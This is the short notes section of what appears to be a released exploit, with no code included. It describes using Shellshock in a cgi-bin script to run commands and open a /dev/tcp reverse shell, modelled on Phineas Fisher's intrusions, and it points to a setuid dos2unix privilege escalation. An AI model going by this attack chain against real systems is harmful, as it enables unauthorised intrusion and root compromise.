Credit: Phineas Fisher¶
Notes:¶
This exploit basically implements the exploits Phineas Fisher used to pwn Hacking Team¶
and the Cayman Trust Bank place. It uses the Shellshock vulnerability to gain a command¶
execution primitive as the "nobody" user in the cgi-bin/jarrewrite.sh web-script, spawns¶
a trivial reverse shell using /dev/tcp.¶
There is a fairly trivial LPE in these that gets you root by abusing setuid dos2unix, but¶
implementing that is left as an exercise for the reader. I've seen a few approaches, and¶
would be interested in seeing yours.¶
There is another LPE that works only on some models which I also have removed from this.¶
